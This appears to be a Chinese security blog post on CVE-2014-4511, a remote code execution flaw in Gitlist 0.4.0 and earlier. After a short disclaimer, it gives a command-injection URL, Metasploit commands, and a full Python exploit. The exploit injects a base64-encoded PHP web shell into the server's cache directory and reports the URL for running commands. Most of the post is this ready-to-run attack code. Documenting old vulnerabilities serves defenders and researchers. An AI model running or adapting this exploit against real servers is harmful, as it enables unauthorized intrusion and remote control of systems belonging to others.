注意:本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。

0x00 Gitlist (Revision Control Tools)在存在远程代码执行漏洞

背景:在gitlist 0.4.0及之前版本存在远程代码执行漏洞,漏洞CVE版本号为CVE-2014-4511,该漏洞利用方式为:

https://test.com/test.git/master/""`whoami`   #,通过执行该命令可以导致gitlist出现未知错误

WeiyiGeek.示例

通过该利用程序可以将php木马写入到gitlist目录中,从而获取权限服务器:

msf里面集成了gitlist_rce exploit:
msf exploit > use gitlist_rce
msf exploit(gitlist_rce) > rexploit

python版利用代码:

from commands import getoutput
import urllib
import sys

"""
Exploit Title: Gitlist <= 0.4.0 anonymous RCE
Date: 06/20/2014
Author: drone (@dronesec)
Vendor Homepage: http://gitlist.org/
Software link: https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz
Version: <= 0.4.0
Tested on: Debian 7
More information:
cve: CVE-2014-4511
"""

if len(sys.argv) <= 1:
print '%s: [url to git repo] {cache path}' % sys.argv[0]
print ' Example: python %s http://localhost/gitlist/my_repo.git' % sys.argv[0]
print ' Example: python %s http://localhost/gitlist/my_repo.git /var/www/git/cache' % sys.argv[0]
sys.exit(1)

url = sys.argv[1]
url = url if url[-1] != '/' else url[:-1]

path = "/var/www/gitlist/cache"
if len(sys.argv) > 2:
path = sys.argv[2]

print '[!] Using cache location %s' % path

# payload <?system($_GET['cmd']);?>
payload = "PD9zeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pgo="

# sploit; python requests does not like this URL, hence wget is used
mpath = '/blame/master/""`echo {0}|base64 -d > {1}/x.php`'.format(payload, path)
mpath = url+ urllib.quote(mpath)

out = getoutput("wget %s" % mpath)
if '500' in out:
print '[!] Shell dropped; go hit %s/cache/x.php?cmd=ls' % url.rsplit('/', 1)[0]
else:
print '[-] Failed to drop'
print out

执行效果:
WeiyiGeek.利用方式